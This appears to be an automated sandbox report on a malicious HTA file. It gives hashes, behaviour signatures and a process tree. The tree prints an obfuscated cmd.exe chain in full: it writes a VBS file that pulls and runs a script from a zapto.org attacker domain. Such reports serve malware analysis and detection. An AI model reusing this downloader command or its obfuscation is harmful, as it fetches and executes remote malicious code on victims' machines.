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Analysis

  • max time kernel
    361s
  • max time network
    365s
  • platform
    windows7_x64
  • resource
    win7-20231215-es
  • resource tags

    arch:x64arch:x86image:win7-20231215-eslocale:es-esos:windows7-x64systemwindows
  • submitted
    12/02/2024, 22:40

General

  • Target

    hpZCI-6ImFk-MmRi.ODI-3OD.M0M-jQ.1YT.I4-Z0DQ0.YTI.1O-WMyM-GUwO-TYxIn0301913.65ca9cd9040f3.hta

  • Size

    8KB

  • MD5

    0b18b6fa6132a504bcfc97303e0c8985

  • SHA1

    c75995b4ddba1691f24559e88a182c564286f0d0

  • SHA256

    adf044369cc00fef25598e46ffdda6135dcfcd5929443fefced00178626dc7da

  • SHA512

    ec8e1ea65bfcf8f9db18d44d031e911539c8267807b5885d6724d5a5961aec36c3496d613db9d127798837ce025ee7649d80fe0cb30df4bc7feba50f491bda3a

  • SSDEEP

    192:/OVCNAqMJT/jFLO62Lq9yJklRRUOh1DDjeJEvcqRhUu2Kw4kExUrDPjUnKUwf1dy:/VRuYo1

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\hpZCI-6ImFk-MmRi.ODI-3OD.M0M-jQ.1YT.I4-Z0DQ0.YTI.1O-WMyM-GUwO-TYxIn0301913.65ca9cd9040f3.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2248
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /V/D/c echo|set /p=^"CKNyhJg93=".":lJDr39="ri":Hut037="g":ko258=":":GetOb^">C:\Users\Public\\yk88OE54.vbs&echo|set /p=^"ject("sC"+lJDr39+"pt"+ko258+"ht"+"Tps"+ko258+"//1fu11ubut"+CKNyhJg93+"zapto"+CKNyhJg93+"org//"+Hut037+"1")^">>C:\Users\Public\\yk88OE54.vbs&c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\yk88OE54.vbs
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2292
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo"
        3⤵
          PID:2476
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" set /p="CKNyhJg93=".":lJDr39="ri":Hut037="g":ko258=":":GetOb" 1>C:\Users\Public\\yk88OE54.vbs"
          3⤵
            PID:2716
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo"
            3⤵
              PID:2388
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" set /p="ject("sC"+lJDr39+"pt"+ko258+"ht"+"Tps"+ko258+"//1fu11ubut"+CKNyhJg93+"zapto"+CKNyhJg93+"org//"+Hut037+"1")" 1>>C:\Users\Public\\yk88OE54.vbs"
              3⤵
                PID:2756
              • \??\c:\windows\SysWOW64\cmd.exe
                c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\yk88OE54.vbs
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2880
                • C:\Windows\SysWOW64\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Public\yk88OE54.vbs"
                  4⤵
                  • Blocklisted process makes network request
                  • Modifies system certificate store
                  PID:2772

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            ca6b28e3c4e2b34bf82422f81ea0dcf9

            SHA1

            431e233c9ae4a4af55121645d6e33056c6eb7dcc

            SHA256

            17bf77ca27f4db5074c1c8bf6638abc290545f5c1c14246c4022088ebe2cef4a

            SHA512

            b58a266dd18baf3dc4f9e5ec76965c8b4bd398a28f5dfaa827dafce172fc9c851c467fe045d220e3d9c1826261c377874f4fba8154a4d85f3e0ffe77870baf11

          • C:\Users\Admin\AppData\Local\Temp\CabACF4.tmp

            Filesize

            65KB

            MD5

            ac05d27423a85adc1622c714f2cb6184

            SHA1

            b0fe2b1abddb97837ea0195be70ab2ff14d43198

            SHA256

            c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

            SHA512

            6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

          • C:\Users\Admin\AppData\Local\Temp\TarAE00.tmp

            Filesize

            171KB

            MD5

            9c0c641c06238516f27941aa1166d427

            SHA1

            64cd549fb8cf014fcd9312aa7a5b023847b6c977

            SHA256

            4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

            SHA512

            936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

          • C:\Users\Public\yk88OE54.vbs

            Filesize

            52B

            MD5

            f8c263e6bf44d0649f4e179b7ec66710

            SHA1

            a45fbb3e7f35c6621214f5921d522018b2a73ced

            SHA256

            fdcf8a68f24f6deb6888867dba44bcc3e801b6d93bd092ea6a27e8505bbaa522

            SHA512

            e2b266c02e2a0853e6f8b6d9108cec23a359f08e235ce66c1baa53b583a8be588e5cee69643c5e1b66b611ed1d6d908f07884c11e5d99895dcf404f75a61477c

          • C:\Users\Public\yk88OE54.vbs

            Filesize

            158B

            MD5

            664d4e1febdd5e7f3d69c851491ca3be

            SHA1

            6092e971e140c7e482989735481d9738e438545c

            SHA256

            b6979f0b855c15efcd1389bdaa10c2e2c70b0fa00e810d1ecfd949bc6f009810

            SHA512

            7fdcf385573f4bb5982bf85df12244b0f73ff363cf282cda41c1bfa03fe522439d88d81cc77cab78d9663de25920d9362cf464282574984acfc3455a3321fcc7